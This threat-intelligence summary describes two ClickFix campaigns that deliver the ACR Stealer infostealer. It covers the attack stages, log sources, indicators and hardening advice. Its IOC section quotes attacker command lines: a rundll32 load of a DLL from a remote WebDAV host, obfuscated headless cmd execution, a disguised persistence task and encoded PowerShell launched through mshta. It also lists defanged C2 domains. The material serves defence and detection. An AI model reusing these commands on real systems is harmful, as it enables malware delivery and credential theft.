ACR Stealer: Two observed intrusion chains amid increased threat activity

What Happened

Microsoft found attackers tricking users into copying and running a malicious command (a trick called 'ClickFix,' often shown as a fake verification or CAPTCHA prompt) that installs an information-stealing program called ACR Stealer. This affects any organization whose employees might click on malicious ads or search results and follow on-screen instructions to 'fix' something on their computer. It matters because the malware steals saved passwords, browser login sessions, and sensitive documents, which attackers can use to break into cloud accounts and company systems. Organizations should train employees to be suspicious of any prompt asking them to copy-paste and run a command, restrict which programs can run untrusted downloaded content, and turn on behavior-based endpoint protection to catch this activity even when files are hidden or disguised.

Key Takeaways

• ACR Stealer (rebranded Amatera Stealer, sold as MaaS) is being delivered via two distinct ClickFix-initiated intrusion chains observed between late April and mid-June 2026.
• Campaign 1 uses rundll32-based WebDAV DLL loading, PowerShell-deployed Python loaders, scheduled-task persistence disguised as software updates, and in some cases blockchain (EtherHiding) dead-drop C2 resolution via public RPC endpoints.
• Campaign 2 is largely fileless, using MSHTA/VBScript/COM to launch obfuscated PowerShell that retrieves a steganographically-embedded payload from a hosted JPEG image, executed entirely in memory via reflective shellcode loading.
• Both campaigns ultimately target Chromium browser credential stores (Login Data, Web Data), DPAPI-protected secrets, cookies, tokens, and staged Office/PDF documents for exfiltration.
• Techniques such as environment-variable obfuscation, conhost --headless execution, timestomping against notepad.exe, and PowerShell history clearing are used to reduce forensic and user visibility.

Affected Systems

• Windows endpoints in enterprise environments
• Chromium-based browsers (Google Chrome, Microsoft Edge)
• Enterprise-synced storage (OneDrive, SharePoint)

Vulnerabilities (CVEs)

None identified.

Attack Chain

1. Initial Access: ClickFix lure (via malvertising/SEO poisoning) tricks user into pasting and running an attacker-supplied command.
2. Execution: Campaign 1 invokes rundll32 to load a DLL from a remote WebDAV share (direct, pushd-mounted, or headless obfuscated); Campaign 2 uses MSHTA to fetch HTA content that decodes and runs PowerShell via COM.
3. Payload Delivery: Campaign 1 downloads a ZIP-packaged Python loader and installer; Campaign 2 retrieves a payload hidden inside a JPEG image via steganography.
4. Persistence and Evasion: Campaign 1 establishes a hidden scheduled task disguised as a software update, timestomps files against notepad.exe, and clears PowerShell history; both campaigns use heavy obfuscation and in-memory/reflective shellcode execution (Fiber API or CreateThread) to avoid disk artifacts.
5. Command and Control: Campaign 1 optionally resolves C2 via blockchain RPC endpoints (EtherHiding); Campaign 2 beacons to attacker-controlled domains with certificate validation disabled.
6. Collection and Exfiltration: Both campaigns harvest Chromium browser credentials/cookies/tokens via DPAPI, enumerate PDFs and Office/OneDrive/SharePoint documents, archive the data, and stage it for exfiltration.

Detection Availability

• YARA Rules: No
• Sigma Rules: No
• Snort/Suricata Rules: No
• KQL Queries: Yes
• Splunk SPL Queries: No
• EQL Queries: No
• Other Detection Logic: No
• Platforms: Microsoft Defender XDR Advanced Hunting

The article provides Microsoft Defender XDR Advanced Hunting (KQL) queries for identifying ClickFix-based rundll32/WebDAV execution via registry RunMRU artifacts, scheduled-task persistence created by malicious PowerShell, and suspicious MSHTA launches via PowerShell; it also lists named Microsoft Defender for Endpoint/Antivirus detection labels rather than raw rule bodies.

Detection Engineering Assessment

Required Log Sources

• Windows Registry event logs (RunMRU key, Event ID 4657/13 for registry modification)
• Process creation logs (Sysmon Event ID 1 / Windows Security Event ID 4688)
• Scheduled Task creation/modification logs (Event ID 4698/106)
• PowerShell Script Block Logging and Module Logging (Event ID 4104/4103)
• DNS and proxy/web-filtering logs
• EDR telemetry for in-memory execution (VirtualAlloc, CreateThread/Fiber API usage)

Hunting Hypotheses

Control Gaps

• Signature-based antivirus alone is unlikely to catch heavily obfuscated PowerShell, Python loaders, and steganography-based payloads without behavioral detection.
• Network-layer inspection may miss C2 resolution performed via legitimate blockchain RPC/Web3 infrastructure since traffic resembles normal Web3 activity.
• File-based scanning has limited effectiveness against Campaign 2's largely fileless, in-memory execution chain.

Key Behavioral Indicators

• rundll32.exe or mshta.exe with parent process being explorer.exe or a Run-dialog invocation shortly after user interaction
• Command lines referencing WebDAV UNC paths containing '@ssl' and GUID-formatted directories
• conhost.exe --headless spawning cmd.exe with environment-variable substitution obfuscation
• Scheduled tasks named to resemble legitimate software updates but launching pythonw.exe or script interpreters from Temp/LocalAppData
• PowerShell processes clearing command history or exhibiting excessive arithmetic no-op / dead-loop code patterns
• Processes calling VirtualAlloc, ConvertThreadToFiber, CreateFiber, SwitchToFiber, or CreateThread in association with a LOLBin parent process
• Unusual read access to image files followed by in-memory execution activity (steganography extraction pattern)

False Positive Assessment

Recommendations

Immediate Mitigation

Infrastructure Hardening

• Evaluate enforcing web filtering and blocking of low-reputation or newly-registered domains to reduce exposure to malvertising and SEO-poisoning delivery chains.
• Consider application control / attack surface reduction policies restricting PowerShell, Python, mshta.exe, and rundll32.exe from executing content from user-writable directories such as Downloads, Temp, and %LocalAppData%.
• If supported, restrict outbound WebDAV connections to only necessary/approved destinations.
• Consider enforcing multifactor authentication and conditional access to reduce impact of stolen browser credentials and tokens.

User Protection

• If your EDR supports it, enable block mode along with automated investigation and remediation to contain post-breach activity.
• Enable cloud-delivered protection and behavior-based detections for suspicious script execution, in-memory payload delivery, and browser credential store access.
• Harden PowerShell by enforcing execution policies and enabling script block logging, module logging, and transcription where applicable.
• Enable tamper protection to prevent local administrators from weakening antivirus settings.

Security Awareness

• Educate users to recognize ClickFix-style prompts, fake verification checks, and paste-and-run instructions as malicious, especially those invoking cmd.exe, PowerShell, rundll32.exe, or mshta.exe.
• Incorporate guidance on avoiding execution of copy-pasted commands from webpages, ads, or search results into ongoing security awareness training.
• Consider periodic phishing/ClickFix simulation exercises to reinforce recognition of these social engineering lures.

MITRE ATT&CK Mapping

Additional IOCs

• Domains:
  • contrite[.]quirksturdy[.]icu - C2 domain used in Campaign 1
  • ux[.]strainedeasily[.]icu - C2 domain used in Campaign 1
  • breaksd[.]wifihot[.]icu - C2 domain used in Campaign 1
  • walter[.]filloco[.]icu - C2 domain used in Campaign 1
  • fast[.]raidher[.]icu - C2 domain used in Campaign 1
  • apigrokcloud[.]icu - C2 domain used in Campaign 1
  • zealpraxis[.]com - First-stage payload hosting site for Campaign 2
  • prism-vertex[.]com - First-stage payload hosting site for Campaign 2
  • prism-matrixs[.]com - First-stage payload hosting site for Campaign 2
  • proton-network[.]com - First-stage payload hosting site for Campaign 2
  • creativecommunityinfo[.]art - Payload hosting site for Campaign 2
  • ap-lby-wfch-svc[.]in[.]net - GUID-subdomain hosting service used to distribute ZIP-packaged payload in Campaign 1
• File Paths:
  • %LocalAppData%\Temp\LogiOptionsPlus - Deceptive directory used by Campaign 1 to disguise dropped Python loader as legitimate Logitech software
  • wbt3h2b4si.bin - ZIP-packaged payload downloaded and extracted by the PowerShell installer stage
• Command Lines:
  • Purpose: Direct rundll32 invocation to load a malicious DLL hosted on a remote WebDAV share over HTTPS | Tools: cmd.exe, rundll32.exe | Stage: Initial Access/Execution | cmd.exe /c start rundll32.exe \\<host>@ssl\<GUID>\google.ct,#1
  • Purpose: Mount a remote WebDAV share as a local drive using pushd, then execute a DLL via rundll32 | Tools: cmd.exe, pushd, rundll32.exe | Stage: Initial Access/Execution
  • Purpose: Headless, obfuscated execution with environment-variable substitution to conceal pushd/rundll32 and hostname | Tools: conhost.exe, cmd.exe, pushd, rundll32.exe | Stage: Execution/Defense Evasion | conhost.exe --headless cmd /v:on /c "set a=pushd&set b=rundll32& ..."
  • Purpose: Create a hidden scheduled task disguised as a software update to maintain persistence | Tools: powershell.exe, schtasks | Stage: Persistence | schtasks /run /tn "Logi Options+ AppBroker assistant Autoupdate"
  • Purpose: Launch decoded PowerShell payload via IShellDispatch COM object from an HTA/VBScript loader | Tools: mshta.exe, VBScript, IShellDispatch6, powershell.exe | Stage: Execution | IShellDispatch6.ShellExecute("POWerSHELL", "-En <base64>", "", "open", "0")
• Other:
  • Logi Options+ AppBroker assistant Autoupdate - Scheduled task name masquerading as legitimate Logitech software update, used for persistence in Campaign 1